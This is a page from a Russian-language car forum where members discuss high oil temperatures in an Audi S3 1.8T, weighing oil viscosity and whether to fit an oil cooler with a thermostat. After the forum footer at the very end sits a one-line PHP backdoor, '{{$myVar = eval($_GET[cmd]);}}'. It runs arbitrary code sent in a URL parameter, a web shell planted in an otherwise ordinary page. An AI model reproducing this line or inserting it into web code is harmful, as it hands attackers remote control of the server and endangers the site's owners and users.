+ Ответить в теме
Показано с 1 по 10 из 20

Тема: Вентиляция подкапотного пространства... стОит-нет?


Комбинированный просмотр

  1. #1
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Цитата Сообщение от Чуйкин Посмотреть сообщение
    ничего не делал.. какая температура масла? у меня больше 110 не бывает.. и то в пробке
    Масло при относительно отжиге по городу или по трассе бьет до 120, по городу только при очень неторопливом передвижении 80-90, в основном 100-110.

    Маслофильтр стоит немаленький, лью исключительно 300V 5-40. Оно-то не боится такой температуры, но все равно не особо приятно...

    Добавлено через 2 минуты
    Цитата Сообщение от Grisha Посмотреть сообщение
    Datoxa, ставь маслокулер
    Уже задумался на эту тему, только тут какие-то товарищи (Сусиводы грузинские) советуют ставить маслокулер с термостатом, типа оно лучше будет. ВОт не знаю, в сомнениях весь.
    Последний раз редактировалось daToxa; 29.05.2013 в 22:03. Причина: Добавлено сообщение
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

  2. #2
    GTI-Racing houlm is on a distinguished road Аватар для houlm
    Регистрация
    28.02.2012
    Откуда
    Сочи
    Машина
    GOLF V GTI 2,0T 2007 Edition 30
    Сообщений
    173
    Цитата Сообщение от daToxa Посмотреть сообщение
    Масло при относительно отжиге по городу или по трассе бьет до 120, по городу только при очень неторопливом передвижении 80-90, в основном 100-110.

    Маслофильтр стоит немаленький, лью исключительно 300V 5-40. Оно-то не боится такой температуры, но все равно не особо приятно...

    Добавлено через 2 минуты


    Уже задумался на эту тему, только тут какие-то товарищи (Сусиводы грузинские) советуют ставить маслокулер с термостатом, типа оно лучше будет. ВОт не знаю, в сомнениях весь.
    мои скромные мысли 10-50 масло и датчик температуры выхлоа он все покажет.
    когда большие температуры масло должно быть гущее иначе оно не работает.
    у тебя масло для нового атмосферника.
    то что температура пляшет (хз что у тя там за тюнинг) скорей всего не исправность чего либо.
    Последний раз редактировалось houlm; 29.05.2013 в 23:55.

  3. #3
    GTI-Racing daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough daToxa is a jewel in the rough Аватар для daToxa
    Регистрация
    22.04.2009
    Откуда
    Tiflis
    Машина
    Audi S3 1.8T
    Сообщений
    739
    Дело не в вязкости масла, я пытаюсь понять причину высокой температуры, что бы побороть это дело.
    При ускорении слезы восхищения должны стекать горизонтально в направлении ушей (c)Вальтер Рерль
    Перед торможением двигателем сначала происходит торможение бампером, затем - облицовкой радиатора, радиатором и только после этого - двигателем...

+ Ответить в теме

Похожие темы

  1. Ответов: 5
    Последнее сообщение: 03.01.2024, 23:56
  2. Ответов: 8
    Последнее сообщение: 01.11.2019, 10:26
  3. Стоит задуматься!
    от rider113 в разделе Курилка
    Ответов: 8
    Последнее сообщение: 09.01.2010, 08:30
  4. Нужны фото подкапотного отсека г3 gti 2e
    от kol9mba в разделе Разное
    Ответов: 7
    Последнее сообщение: 24.11.2008, 18:12
  5. Нужны Фотки Подкапотного Пространства У Вр6
    от S@TURN в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 3
    Последнее сообщение: 05.06.2008, 12:06

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}